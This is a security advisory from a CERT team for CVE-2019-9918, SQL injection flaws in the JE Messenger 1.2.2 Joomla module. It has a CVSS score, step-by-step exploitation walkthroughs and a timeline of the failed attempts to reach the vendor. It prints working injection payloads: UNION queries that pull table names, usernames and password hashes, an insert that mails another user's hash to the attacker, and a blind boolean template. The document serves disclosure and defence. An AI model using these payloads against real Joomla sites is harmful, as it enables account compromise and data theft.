CVE-2019-9918: CVE/CVE-2019-9918.md at master · azd-cert/CVE

CVE-2019-9918****Affected software

JE Messenger 1.2.2 Joomla Module by Harmis Technology.

What: SQL-Injection

Multiple SQL-Injections allows reading or writing arbitrary information from all tables/to specific tables of the database/ of the module.

Meta

During the preparation of one of our incident response exercises, one of our CERT Members (Tobias Roggenhofer) detected an unexpected behavior of the Joomla Module JE Messenger of Harmis Technology in its current version (1.2.2). Due to this behavior, we started analyzing this module and detected several vulnerabilities.

We informed the software-vendor that we have detected vulnerabilities in their module. Sadly a secure communication to share the details could not be established.

Since we still want to disclose our findings in a responsible way, we only announced the type of vulnerability and the associated risk in the first step on the 2019-03-29. This gives the software vendor time to patch the plugin or user the time to move to another plugin or temporarily disable it. Since 2019-05-01 we’ve published more details including some payloads.

CVSS

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N : 8.5 (High)

Detailed description

The module has no protection against SQL-Injections. It passes the user input directly in the SQL-Querys. So each of them is potentially vulnerable to SQL-Injections. We found five concrete injection-points, which can be abused by an attacker.

1: Move foreign messages to trash

An SQL-Injection vulnerability inside the delete function of the inbox allows any user to move arbitrary message from the inbox into the trash.

In this example we an message from user2 to user3 inside the inbox of user3. By hovering over the message we see in the link the parameter 'cid[0]', which has the value 60. This means this message has the internal message id 60.

In this example user1 will now delete this message from the inbox of user3. Therefore we selects one of his messages for deletion, but before we press the “Delete” button we start an interception proxy to intercept the request.

Now we are able to inject some SQL code inside the query. To move the message of user3 with the id 60 we can use the following example code:

This code has to be inserted in the parameter 'cid%5B%5D=’. Note: In general the attack needs to exploit other vulnerabilities to get the right message id, if he wants to move a specific and not a random one.

After sending the manipulated query the message 60 is now in the Trash folder of user3

2: Delete foreign messages from the trash folder

An SQL-Injection vulnerability inside the delete function of the Trash allows any user to delete arbitrary message from the trash. This vulnerability is almost identical to the first SQL-Injection. The steps how to inject and the payload are all the same. The only difference is, that you have to call the delete function in the trash instead of that one in the inbox.

3: Read from the database (ajax-lookup-query)

There is an SQL-Injection vulnerability in the compose page, which allows an attacker to read arbitrary information from the local database. The vulnerability is located in the backend for an ajax function, that automatically searches suitable users based on the input of the “to” field.

In this example we show how this vulnerability can be abused to read out the local usernames and password hashes. At first we use the vulnerability to read out the name of the usertable, because in general we don’t know the individual table-prefix of this joomla page. Therefore we start an interception-proxy and type one letter inside the “To” field. This triggers the ajax function and sends the request shown in the picture below.

Now we replace the value of the parameter ‘input’ with the following injection code

Irrelevant-what-is-standing-here') union (SELECT '1', '2', TABLE_NAME, '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16' FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '_____users' OR TABLE_NAME LIKE '______users') union (SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16

Because this is an URL-Parameter, we need to char encode the payload first.

%49%72%72%65%6c%65%76%61%6e%74%2d%77%68%61%74%2d%69%73%2d%73%74%61%6e%64%69%6e%67%2d%68%65%72%65%27%29%20%75%6e%69%6f%6e%20%28%53%45%4c%45%43%54%20%27%31%27%2c%20%27%32%27%2c%20%54%41%42%4c%45%5f%4e%41%4d%45%2c%20%27%34%27%2c%20%27%35%27%2c%20%27%36%27%2c%20%27%37%27%2c%20%27%38%27%2c%20%27%39%27%2c%20%27%31%30%27%2c%20%27%31%31%27%2c%20%27%31%32%27%2c%20%27%31%33%27%2c%20%27%31%34%27%2c%20%27%31%35%27%2c%20%27%31%36%27%20%46%52%4f%4d%20%49%4e%46%4f%52%4d%41%54%49%4f%4e%5f%53%43%48%45%4d%41%2e%54%41%42%4c%45%53%20%57%48%45%52%45%20%54%41%42%4c%45%5f%4e%41%4d%45%20%4c%49%4b%45%20%27%5f%5f%5f%5f%5f%75%73%65%72%73%27%20%4f%52%20%54%41%42%4c%45%5f%4e%41%4d%45%20%4c%49%4b%45%20%27%5f%5f%5f%5f%5f%5f%75%73%65%72%73%27%29%20%75%6e%69%6f%6e%20%28%53%45%4c%45%43%54%20%27%31%27%2c%20%27%32%27%2c%20%27%33%27%2c%20%27%34%27%2c%20%27%35%27%2c%20%27%36%27%2c%20%27%37%27%2c%20%27%38%27%2c%20%27%39%27%2c%20%27%31%30%27%2c%20%27%31%31%27%2c%20%27%31%32%27%2c%20%27%31%33%27%2c%20%27%31%34%27%2c%20%27%31%35%27%2c%20%27%31%36

The tablename will now be shown in the gui for a short time or you can extract it directly from the response

With the knowledge of the tablename we can now extract the usernames and password hashes, with the same method and the following payload. (replace the [Prefix] in the query. in our case it is ‘ecsbi’)

Irrelevant-what-is-standing-here') union (SELECT '1', '2', username, password, '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16' FROM [Prefix]_users) union (SELECT '1', '2', '3', '4', '5', '6', '7', '8', '9', '10', '11', '12', '13', '14', '15', '16

4: Insert message with information from the database

An SQL-Injection in the compose page allows an user to send messages to him self, that contains information from the Database.

In this example we read the password hash of user3 as user1. Let us assume that we already know the table name prefix(ecsbi) and the user-id of user3(767). At first, we create a simple message. Before sending we start an interception-proxy and intercept the message.

Now we replace the value of the ‘subject’ parameter with the following payload, while 766 is our user-id and 767 is the user-id of user3.

pw of user3',
(SELECT password from ecsbi_users WHERE id=767),
766,
766,
'1999-12-12',
'00:00:00',
'',
''),('','subject2

After sending the crafted message, we have an message in our inbox. It contains the passwordhash of user3.

5: Blind injection, read via update command

There is an blind SQL injection in the move command, that allows an attacker to read information from the database. Because this injection is very time-consuming if you execute it manual, we only show how it works in principle. Further we assume that we already know the table name prefix(ecsbi) and the user-id of user3(767). In this example we select an message in the inbox, move it to the inbox and intercept the request with an interception proxy.

In this example we want to read the out the passwordhash of user3. The problem with this injection is, that it doesn’t display any values. Instead, it only shows if an condition is true or false. So the following injection code can be used to iterate over the passwordhash and check if the ASCII value of a char is higher or low a specific value. It has to be injected into the ‘select’ parameter.

Inbox", `read`=((SELECT ascii(substring((SELECT `password` FROM `[User_table]` WHERE id = [user-id]),[character number of the string],1)) > [possible ascii value of the string ])),`fromemail`="

If the message is now unread(bold), the condition is false. If it is read now, the condition is true.

Timeline

• 2019-03-05: Contacted vendor, request for encrypted communication
• 2019-03-06: Request from vendor to tell affected product (no encryption)
• 2019-03-06: Provided Module-Name (no encryption)
• 2019-03-06: Further contact with vendor, sadly still no encryption
• 2019-03-13: Reminder, deadline set for 18th of March for a response (no encryption)
• 2019-03-19: No response, reserving CVEs, planned release on 2019-04-01
• 2019-03-22: MITRE informs us that 5 CVEs are reserved
• 2019-03-29: Publishing basic information, informing MITRE and vendor
• 2019-05-01: Publishing full vulnerability details